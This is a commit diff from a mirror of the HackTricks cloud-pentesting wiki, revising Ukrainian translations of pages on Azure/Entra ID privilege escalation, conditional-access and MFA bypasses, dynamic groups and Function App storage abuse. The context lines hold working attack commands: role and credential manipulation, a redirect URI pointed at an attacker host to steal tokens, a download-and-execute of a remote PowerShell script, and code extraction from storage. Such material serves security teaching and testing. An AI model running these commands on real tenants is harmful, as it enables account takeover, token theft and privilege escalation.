mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-16 14:52:43 -08:00
Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe
This commit is contained in:
@@ -19,7 +19,7 @@ az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e55
|
||||
```
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
Цей дозвіл дозволяє змінювати дозволи, надані роллю, що дозволяє зловмиснику підвищувати привілеї, надаючи більше дозволів ролі, яку він призначив.
|
||||
Цей дозвіл дозволяє змінювати дозволи, надані ролі, що дозволяє зловмиснику підвищувати привілеї, надаючи більше дозволів ролі, яку він призначив.
|
||||
|
||||
Створіть файл `role.json` з наступним **вмістом**:
|
||||
```json
|
||||
@@ -40,7 +40,7 @@ az role definition update --role-definition role.json
|
||||
```
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
Ці дозволи дозволяють підвищувати привілеї та мати можливість призначати дозволи будь-якому принципалу для ресурсів Azure. Вони призначені для глобальних адміністраторів Entra ID, щоб вони також могли керувати дозволами на ресурси Azure.
|
||||
Ці дозволи дозволяють підвищувати привілеї та надавати дозволи будь-якому принципалу на ресурси Azure. Вони призначені для глобальних адміністраторів Entra ID, щоб вони також могли керувати дозволами на ресурси Azure.
|
||||
|
||||
> [!TIP]
|
||||
> Я вважаю, що користувач повинен бути глобальним адміністратором в Entra ID, щоб виклик підвищення працював.
|
||||
@@ -53,7 +53,7 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
Цей дозвіл дозволяє додавати федеративні облікові дані до керованих ідентичностей. Наприклад, надати доступ до Github Actions у репозиторії керованій ідентичності. Потім це дозволяє **отримувати доступ до будь-якої визначеної користувачем керованої ідентичності**.
|
||||
Ця дозволяє додавати федеративні облікові дані до керованих ідентичностей. Наприклад, надати доступ до Github Actions у репозиторії керованій ідентичності. Потім це дозволяє **отримувати доступ до будь-якої визначеної користувачем керованої ідентичності**.
|
||||
|
||||
Приклад команди для надання доступу до репозиторію в Github керованій ідентичності:
|
||||
```bash
|
||||
|
||||
@@ -3,13 +3,13 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що **не всі детальні дозволи** вбудованих ролей в Entra ID **можуть бути використані в користувацьких ролях.**
|
||||
> Зверніть увагу, що **не всі детальні дозволи**, які мають вбудовані ролі в Entra ID, **можуть бути використані в користувацьких ролях.**
|
||||
|
||||
## Ролі
|
||||
|
||||
### Роль: Адміністратор привілейованих ролей <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
Ця роль містить необхідні детальні дозволи для призначення ролей принципам та надання додаткових дозволів ролям. Обидві дії можуть бути зловживані для ескалації привілеїв.
|
||||
Ця роль містить необхідні детальні дозволи для того, щоб мати можливість призначати ролі принципалам і надавати більше дозволів ролям. Обидві дії можуть бути зловживані для ескалації привілеїв.
|
||||
|
||||
- Призначити роль користувачу:
|
||||
```bash
|
||||
@@ -48,11 +48,11 @@ az rest --method PATCH \
|
||||
]
|
||||
}'
|
||||
```
|
||||
## Applications
|
||||
## Застосунки
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
Це дозволяє зловмиснику **додавати облікові дані** (паролі або сертифікати) до існуючих додатків. Якщо додаток має привілейовані дозволи, зловмисник може автентифікуватися як цей додаток і отримати ці привілеї.
|
||||
Це дозволяє зловмиснику **додати облікові дані** (паролі або сертифікати) до існуючих застосунків. Якщо застосунок має привілейовані дозволи, зловмисник може автентифікуватися як цей застосунок і отримати ці привілеї.
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -61,7 +61,7 @@ az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
Це дозволяє ті ж дії, що й `applications/credentials/update`, але обмежено до однодиректорних застосунків.
|
||||
Це дозволяє виконувати ті ж дії, що й `applications/credentials/update`, але обмежено до однодиректорних додатків.
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
@@ -77,7 +77,7 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
Зловмисник може додати URI перенаправлення до додатків, які використовуються користувачами орендаря, а потім поділитися з ними URL-адресами входу, які використовують новий URL перенаправлення, щоб вкрасти їх токени. Зверніть увагу, що якщо користувач вже увійшов до додатку, аутентифікація буде автоматичною без необхідності приймати щось.
|
||||
Зловмисник може додати URI перенаправлення до додатків, які використовуються користувачами орендаря, а потім поділитися з ними URL-адресами для входу, які використовують новий URL перенаправлення, щоб вкрасти їх токени. Зверніть увагу, що якщо користувач вже увійшов до додатку, аутентифікація буде автоматичною, без необхідності приймати щось.
|
||||
|
||||
Зверніть увагу, що також можливо змінити дозволи, які запитує додаток, щоб отримати більше дозволів, але в цьому випадку користувачеві потрібно буде знову прийняти запит на всі дозволи.
|
||||
```bash
|
||||
@@ -86,19 +86,19 @@ az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUr
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
## Service Principals
|
||||
## Сервісні принципали
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
Це дозволяє зловмиснику додавати облікові дані до існуючих службових принципів. Якщо службовий принцип має підвищені привілеї, зловмисник може прийняти ці привілеї.
|
||||
Це дозволяє зловмиснику додавати облікові дані до існуючих сервісних принципалів. Якщо сервісний принципал має підвищені привілеї, зловмисник може прийняти ці привілеї.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Новий згенерований пароль не з'явиться в веб-консолі, тому це може бути прихований спосіб підтримувати постійний доступ до сервісного принципалу.\
|
||||
> Новий згенерований пароль не з'явиться в веб-консолі, тому це може бути прихований спосіб підтримувати постійність над службовим принципалом.\
|
||||
> З API їх можна знайти за допомогою: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
Якщо ви отримали помилку `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, це тому, що **неможливо змінити властивість passwordCredentials** сервісного принципалу, і спочатку потрібно його розблокувати. Для цього вам потрібна дозвіл (`microsoft.directory/applications/allProperties/update`), який дозволяє вам виконати:
|
||||
Якщо ви отримали помилку `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, це тому, що **неможливо змінити властивість passwordCredentials** службового принципала, і спочатку вам потрібно його розблокувати. Для цього вам потрібен дозвіл (`microsoft.directory/applications/allProperties/update`), який дозволяє вам виконати:
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
@@ -130,9 +130,9 @@ az ad sp owner list --id <spId>
|
||||
> [!CAUTION]
|
||||
> Після додавання нового власника я спробував його видалити, але API відповів, що метод DELETE не підтримується, навіть якщо це метод, який потрібно використовувати для видалення власника. Тому ви **не можете видалити власників в даний час**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
### `microsoft.directory/servicePrincipals/disable` та `enable`
|
||||
|
||||
Ці дозволи дозволяють вимкнути та увімкнути службові принципали. Зловмисник може використовувати цей дозвіл, щоб увімкнути службовий принципал, до якого він може отримати доступ якимось чином, щоб ескалувати привілеї.
|
||||
Ці дозволи дозволяють вимкнути та увімкнути службові принципали. Зловмисник може використовувати цей дозвіл, щоб увімкнути службовий принципал, до якого він може отримати доступ якимось чином, щоб підвищити привілеї.
|
||||
|
||||
Зверніть увагу, що для цієї техніки зловмиснику знадобляться додаткові дозволи, щоб захопити увімкнений службовий принципал.
|
||||
```bash
|
||||
@@ -183,17 +183,17 @@ az ad group member add --group <GroupName> --member-id <UserId>
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Примітка**: Ця дозволена дія виключає групи, призначені для ролей Entra ID.
|
||||
**Примітка**: Ця дозволяє виключає групи, які можуть бути призначені ролям Entra ID.
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
Ця дозволена дія дозволяє додавати учасників до групи. Зловмисник може додати себе або шкідливі облікові записи до привілейованих груп, що може надати підвищений доступ.
|
||||
Цей дозвіл дозволяє додавати учасників до групи. Зловмисник може додати себе або шкідливі облікові записи до привілейованих груп, що може надати підвищений доступ.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
Цей дозвіл дозволяє оновлювати правило членства в динамічній групі. Зловмисник може змінити динамічні правила, щоб включити себе до привілейованих груп без явного додавання.
|
||||
Ця дозволяє оновлювати правило членства в динамічній групі. Зловмисник може змінити динамічні правила, щоб включити себе до привілейованих груп без явного додавання.
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -218,13 +218,13 @@ dynamic-groups.md
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
Ця дозволена дія дозволяє скинути пароль для неадміністраторів, що дозволяє потенційному зловмиснику підвищити привілеї до інших користувачів. Цю дозволену дію не можна призначити для користувацьких ролей.
|
||||
Ця дозволена дія дозволяє скинути пароль для неадміністраторів, що дозволяє потенційному зловмиснику підвищити привілеї до інших користувачів. Ця дозволена дія не може бути призначена для користувацьких ролей.
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
Ця привілегія дозволяє змінювати властивості користувача. Зазвичай можна знайти динамічні групи, які додають користувачів на основі значень властивостей, тому ця дозволена дія може дозволити користувачу встановити потрібне значення властивості, щоб стати членом конкретної динамічної групи та ескалувати привілеї.
|
||||
Ця привілегія дозволяє змінювати властивості користувача. Зазвичай можна знайти динамічні групи, які додають користувачів на основі значень властивостей, тому ця дозволена дія може дозволити користувачу встановити необхідне значення властивості, щоб стати членом конкретної динамічної групи та підвищити привілеї.
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -263,7 +263,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
Ця дозволяє зловмисникам асоціювати свій обліковий запис з пристроями, щоб отримати доступ або обійти політики безпеки.
|
||||
Цей дозвіл дозволяє зловмисникам асоціювати свій обліковий запис з пристроями, щоб отримати доступ або обійти політики безпеки.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -289,7 +289,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
Цей дозвіл дозволяє отримувати доступ до ключів BitLocker, що може дозволити зловмиснику розшифровувати диски, ставлячи під загрозу конфіденційність даних.
|
||||
Ця дозволяє доступ до ключів BitLocker, що може дозволити зловмиснику розшифрувати диски, порушуючи конфіденційність даних.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
|
||||
@@ -9,33 +9,33 @@
|
||||
|
||||
Ось кілька прикладів:
|
||||
|
||||
1. **Політика ризику входу**: Цю політику можна налаштувати так, щоб вимагати багатофакторну аутентифікацію (MFA), коли виявляється ризик входу. Наприклад, якщо поведінка входу користувача є незвичною в порівнянні з їх звичайним патерном, наприклад, входом з іншої країни, система може запитати додаткову аутентифікацію.
|
||||
1. **Політика ризику входу**: Цю політику можна налаштувати так, щоб вимагати багатофакторну аутентифікацію (MFA), коли виявляється ризик входу. Наприклад, якщо поведінка користувача при вході є незвичною в порівнянні з їх звичайним патерном, наприклад, входом з іншої країни, система може запитати додаткову аутентифікацію.
|
||||
2. **Політика відповідності пристроїв**: Ця політика може обмежити доступ до служб Azure лише для пристроїв, які відповідають стандартам безпеки організації. Наприклад, доступ може бути дозволений лише з пристроїв, які мають актуальне антивірусне програмне забезпечення або працюють на певній версії операційної системи.
|
||||
|
||||
## Обходи політик умовного доступу
|
||||
|
||||
Можливо, що політика умовного доступу **перевіряє деяку інформацію, яку можна легко підробити, що дозволяє обійти політику**. І якщо, наприклад, політика налаштовувала MFA, зловмисник зможе її обійти.
|
||||
Можливо, що політика умовного доступу **перевіряє деяку інформацію, яку можна легко підробити, що дозволяє обійти політику**. І якщо, наприклад, політика налаштовує MFA, зловмисник зможе її обійти.
|
||||
|
||||
При налаштуванні політики умовного доступу потрібно вказати **користувачів**, на яких це вплине, та **цільові ресурси** (наприклад, всі хмарні додатки).
|
||||
|
||||
Також потрібно налаштувати **умови**, які **активують** політику:
|
||||
|
||||
- **Мережа**: IP, діапазони IP та географічні локації
|
||||
- Можна обійти, використовуючи VPN або проксі для підключення до країни або зумівши увійти з дозволеної IP-адреси
|
||||
- Можна обійти, використовуючи VPN або проксі для підключення до країни або намагаючись увійти з дозволеної IP-адреси
|
||||
- **Ризики Microsoft**: Ризик користувача, ризик входу, ризик зсередини
|
||||
- **Платформи пристроїв**: Будь-який пристрій або вибрати Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- Якщо не вибрано “Будь-який пристрій”, але всі інші опції вибрані, можна обійти, використовуючи випадковий user-agent, не пов'язаний з цими платформами
|
||||
- **Клієнтські програми**: Опції “Браузер”, “Мобільні програми та настільні клієнти”, “Клієнти Exchange ActiveSync” та “Інші клієнти”
|
||||
- Якщо “Будь-який пристрій” не вибрано, але всі інші опції вибрані, можна обійти це, використовуючи випадковий user-agent, не пов'язаний з цими платформами
|
||||
- **Клієнтські програми**: Опції - “Браузер”, “Мобільні програми та настільні клієнти”, “Клієнти Exchange ActiveSync” та “Інші клієнти”
|
||||
- Щоб обійти вхід з не вибраною опцією
|
||||
- **Фільтр для пристроїв**: Можна створити правило, пов'язане з використаним пристроєм
|
||||
- **Потоки аутентифікації**: Опції “Потік коду пристрою” та “Передача аутентифікації”
|
||||
- Це не вплине на зловмисника, якщо він не намагається зловживати будь-яким з цих протоколів у фішинговій спробі отримати доступ до облікового запису жертви
|
||||
- **Потоки аутентифікації**: Опції - “Потік коду пристрою” та “Передача аутентифікації”
|
||||
- Це не вплине на зловмисника, якщо він намагається зловживати будь-якими з цих протоколів у фішинговій спробі отримати доступ до облікового запису жертви
|
||||
|
||||
Можливі **результати**: Блокувати або надавати доступ з потенційними умовами, такими як вимога MFA, відповідність пристрою…
|
||||
Можливі **результати**: Блокування або надання доступу з потенційними умовами, такими як вимога MFA, відповідність пристрою…
|
||||
|
||||
### Платформи пристроїв - Умова пристрою
|
||||
|
||||
Можна встановити умову на основі **платформи пристрою** (Android, iOS, Windows, macOS...), однак це базується на **user-agent**, тому його легко обійти. Навіть **зробивши всі опції обов'язковими для MFA**, якщо ви використовуєте **user-agent, який не розпізнається,** ви зможете обійти MFA або блокування:
|
||||
Можливо встановити умову на основі **платформи пристрою** (Android, iOS, Windows, macOS...), однак це базується на **user-agent**, тому його легко обійти. Навіть **зробивши всі опції обов'язковими для MFA**, якщо ви використовуєте **user-agent, який не розпізнається,** ви зможете обійти MFA або блокування:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -52,12 +52,12 @@
|
||||
|
||||
### Хмарні додатки
|
||||
|
||||
Можна налаштувати **політики умовного доступу для блокування або примусу**, наприклад, MFA, коли користувач намагається отримати доступ до **конкретного додатку**:
|
||||
Можливо налаштувати **політики умовного доступу для блокування або примусу** наприклад MFA, коли користувач намагається отримати доступ до **конкретного додатку**:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Щоб спробувати обійти цю захист, вам слід перевірити, чи можете ви **увійти лише в будь-який додаток**.\
|
||||
Інструмент [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) має **десятки ідентифікаторів додатків, закодованих у програмі** і спробує увійти в них, повідомить вас і навіть надасть токен, якщо вдасться.
|
||||
Щоб спробувати обійти цей захист, вам слід перевірити, чи можете ви **увійти лише в будь-який додаток**.\
|
||||
Інструмент [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) має **десятки ідентифікаторів додатків, закодованих у програмі** і спробує увійти в них, повідомить вам і навіть надасть токен, якщо вдасться.
|
||||
|
||||
Щоб **перевірити конкретні ідентифікатори додатків у конкретних ресурсах**, ви також можете використовувати інструмент, такий як:
|
||||
```bash
|
||||
@@ -65,24 +65,24 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
|
||||
|
||||
<token>
|
||||
```
|
||||
Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also.
|
||||
Більше того, також можливо захистити метод входу (наприклад, якщо ви намагаєтеся увійти з браузера або з настільного додатку). Інструмент [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) виконує деякі перевірки, щоб спробувати обійти ці захисти.
|
||||
|
||||
The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained.
|
||||
Інструмент [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) також може бути використаний для подібних цілей, хоча виглядає так, що він не підтримується.
|
||||
|
||||
The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) can also be used to test this protections and see if it's possible to bypass MFAs or blocks, but this tool works from a **whitebox** perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them.
|
||||
Інструмент [**ROPCI**](https://github.com/wunderwuzzi23/ropci) також може бути використаний для тестування цих захистів і перевірки, чи можливо обійти MFA або блокування, але цей інструмент працює з точки зору **whitebox**. Спочатку потрібно завантажити список додатків, дозволених у орендаря, а потім він спробує увійти в них.
|
||||
|
||||
## Інші обходи Az MFA
|
||||
|
||||
### Дзвінок
|
||||
### Рингтон
|
||||
|
||||
Одна з опцій Azure MFA - це **отримати дзвінок на налаштований номер телефону**, де буде запитано користувача **надіслати символ `#`**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Оскільки символи - це просто **тони**, зловмисник може **компрометувати** **голосову пошту** номеру телефону, налаштувати як повідомлення **тон `#`** і потім, коли запитують MFA, переконатися, що **телефон жертви зайнятий** (дзвонячи на нього), щоб дзвінок Azure перенаправлявся на голосову пошту.
|
||||
> Оскільки символи - це просто **тони**, зловмисник може **компрометувати** **голосове повідомлення** на номері телефону, налаштувати як повідомлення **тон `#`** і потім, коли запитують MFA, переконатися, що **телефон жертви зайнятий** (дзвонячи на нього), щоб дзвінок Azure перенаправлявся на голосову пошту.
|
||||
|
||||
### Сумісні пристрої
|
||||
|
||||
Політики часто вимагають сумісний пристрій або MFA, тому **зловмисник може зареєструвати сумісний пристрій**, отримати **PRT** токен і **обійти таким чином MFA**.
|
||||
Політики часто вимагають сумісний пристрій або MFA, тому **зловмисник може зареєструвати сумісний пристрій**, отримати **токен PRT** і **обійти таким чином MFA**.
|
||||
|
||||
Почніть з реєстрації **сумісного пристрою в Intune**, потім **отримайте PRT** за допомогою:
|
||||
```powershell
|
||||
@@ -104,9 +104,9 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
|
||||
Цей скрипт отримує деякі облікові дані користувача та перевіряє, чи може він увійти в деякі програми.
|
||||
Цей скрипт отримує деякі облікові дані користувача та перевіряє, чи може він увійти в деякі додатки.
|
||||
|
||||
Це корисно, щоб перевірити, чи **не потрібно MFA для входу в деякі програми**, які ви можете пізніше зловживати для **ескалації привілеїв**.
|
||||
Це корисно, щоб побачити, чи **не потрібно MFA для входу в деякі додатки**, які ви можете пізніше зловживати для **ескалації привілеїв**.
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
@@ -116,17 +116,17 @@ roadrecon plugin policies
|
||||
```
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweep - це скрипт PowerShell, який намагається **увійти до різних служб Microsoft, використовуючи наданий набір облікових даних, і спробує визначити, чи увімкнено MFA**. Залежно від того, як налаштовані політики умовного доступу та інші налаштування багатофакторної аутентифікації, деякі протоколи можуть залишитися з однофакторною аутентифікацією. Він також має додаткову перевірку для конфігурацій ADFS і може спробувати увійти до локального сервера ADFS, якщо він виявлений.
|
||||
MFASweep - це скрипт PowerShell, який намагається **увійти до різних сервісів Microsoft, використовуючи наданий набір облікових даних, і намагатиметься визначити, чи увімкнено MFA**. Залежно від того, як налаштовані політики умовного доступу та інші налаштування багатофакторної аутентифікації, деякі протоколи можуть залишитися з однофакторною аутентифікацією. Він також має додаткову перевірку для конфігурацій ADFS і може намагатися увійти до локального сервера ADFS, якщо він виявлений.
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
Цей інструмент допоміг виявити обходи MFA, а потім зловживати API в кількох виробничих AAD тенантах, де клієнти AAD вважали, що у них є обов'язковий MFA, але аутентифікація на основі ROPC пройшла успішно.
|
||||
Цей інструмент допоміг виявити обходи MFA, а потім зловживати API в кількох виробничих AAD тенантах, де клієнти AAD вважали, що у них є MFA, але аутентифікація на основі ROPC пройшла успішно.
|
||||
|
||||
> [!TIP]
|
||||
> Вам потрібно мати дозволи для перегляду всіх додатків, щоб мати можливість згенерувати список додатків для брутфорсу.
|
||||
> Вам потрібно мати дозволи для переліку всіх додатків, щоб мати можливість згенерувати список додатків для брутфорсу.
|
||||
```bash
|
||||
./ropci configure
|
||||
./ropci apps list --all --format json -o apps.json
|
||||
@@ -135,13 +135,13 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token - це набір функцій, які допомагають консультантам з безпеки, які потребують перевірки політик умовного доступу, тестів для порталу Microsoft з увімкненим 2FA тощо.
|
||||
Donkey token - це набір функцій, які допомагають консультантам з безпеки, які потребують перевірки Політик умовного доступу, тестів для порталу Microsoft з увімкненим 2FA тощо.
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
</strong></code></pre>
|
||||
|
||||
**Перевірте кожен портал**, чи можливо **увійти без MFA**:
|
||||
**Тестуйте кожен портал**, чи можливо **увійти без MFA**:
|
||||
```powershell
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
# Az - Dynamic Groups Privesc
|
||||
# Az - Динамічні Групи Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Основна Інформація
|
||||
|
||||
**Динамічні групи** - це групи, які мають набір **правил**, і всі **користувачі або пристрої**, що відповідають цим правилам, додаються до групи. Кожного разу, коли **атрибут** користувача або пристрою **змінюється**, динамічні правила **перевіряються** знову. І коли **створюється нове правило**, всі пристрої та користувачі **перевіряються**.
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
|
||||
Отримати групи, які дозволяють динамічне членство: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
|
||||
|
||||
### Example
|
||||
### Приклад
|
||||
|
||||
- **Приклад правила**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
|
||||
- **Опис правила**: Будь-який гість з вторинною електронною поштою, що містить рядок 'security', буде доданий до групи
|
||||
@@ -41,7 +41,7 @@ az rest --method GET \
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--query "otherMails"
|
||||
```
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)
|
||||
|
||||
|
||||
@@ -12,13 +12,13 @@
|
||||
|
||||
### Bucket Read/Write
|
||||
|
||||
Маючи дозволи на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можна знайти **різні контейнери** (кастомні або з попередньо визначеними іменами), які можуть містити **код, виконуваний функцією**.
|
||||
Маючи дозволи на читання контейнерів всередині облікового запису зберігання, який зберігає дані функції, можна знайти **різні контейнери** (кастомні або з попередньо визначеними іменами), які можуть містити **код, виконуваний функцією**.
|
||||
|
||||
Якщо ви знайдете, де розташований код функції, і у вас є дозволи на запис, ви можете змусити функцію виконати будь-який код і підвищити привілеї до керованих ідентичностей, прикріплених до функції.
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` і `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
Код функції зазвичай зберігається всередині файлового сховища. При достатньому доступі можна змінити файл коду і **змусити функцію завантажити довільний код**, що дозволяє підвищити привілеї до керованих ідентичностей, прикріплених до Функції.
|
||||
Код функції зазвичай зберігається всередині файлового сховища. При достатньому доступі можна змінити файл коду і **змусити функцію завантажити довільний код**, що дозволяє підвищити привілеї до керованих ідентичностей, прикріплених до функції.
|
||||
|
||||
Цей метод розгортання зазвичай налаштовує параметри **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** і **`WEBSITE_CONTENTSHARE`**, які ви можете отримати з 
|
||||
```bash
|
||||
@@ -49,24 +49,24 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
|
||||
Також часто можна знайти **zip релізи** всередині папки `function-releases` контейнера облікового запису зберігання, який використовує функціональний додаток у контейнері **зазвичай називається `function-releases`**.
|
||||
|
||||
Зазвичай цей метод розгортання встановлює конфігурацію `WEBSITE_RUN_FROM_PACKAGE` у:
|
||||
Зазвичай цей метод розгортання встановлює конфігурацію `WEBSITE_RUN_FROM_PACKAGE` в:
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
Ця конфігурація зазвичай міститиме **SAS URL для завантаження** коду з Облікового запису зберігання.
|
||||
Ця конфігурація зазвичай міститиме **SAS URL для завантаження** коду з облікового запису зберігання.
|
||||
|
||||
> [!CAUTION]
|
||||
> З достатніми правами для підключення до контейнера блобів, який **містить код у zip**, можливо виконати довільний код у Функції та підвищити привілеї.
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
|
||||
Так само, як і в попередньому випадку, якщо розгортання виконується через Github Actions, можливо знайти папку **`github-actions-deploy`** в Обліковому записі зберігання, що містить zip коду та SAS URL до zip у налаштуванні `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
Так само, як і в попередньому випадку, якщо розгортання здійснюється через Github Actions, можливо знайти папку **`github-actions-deploy`** в обліковому записі зберігання, що містить zip коду та SAS URL до zip у налаштуванні `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` та `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
З правами на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можливо знайти контейнер **`scm-releases`**. Там можливо знайти останній реліз у **форматі файлу файлової системи Squashfs** і, отже, можливо прочитати код функції:
|
||||
З правами на читання контейнерів всередині облікового запису зберігання, який зберігає дані функції, можливо знайти контейнер **`scm-releases`**. Там можливо знайти останній реліз у **форматі файлу файлової системи Squashfs** і, отже, можливо прочитати код функції:
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
Також можливо знайти **master and functions keys**, збережені в обліковому записі зберігання в контейнері **`azure-webjobs-secrets`** всередині папки **`<app-name>`** в JSON-файлах, які ви можете знайти всередині.
|
||||
Також можливо знайти **ключі майстра та функцій**, збережені в обліковому записі зберігання в контейнері **`azure-webjobs-secrets`** всередині папки **`<app-name>`** у JSON-файлах, які ви можете знайти всередині.
|
||||
|
||||
> [!CAUTION]
|
||||
> З достатніми правами для підключення до контейнера blob, який **містить код у файлі з розширенням zip** (який насправді є **`squashfs`**), можливо виконати довільний код у Функції та підвищити привілеї.
|
||||
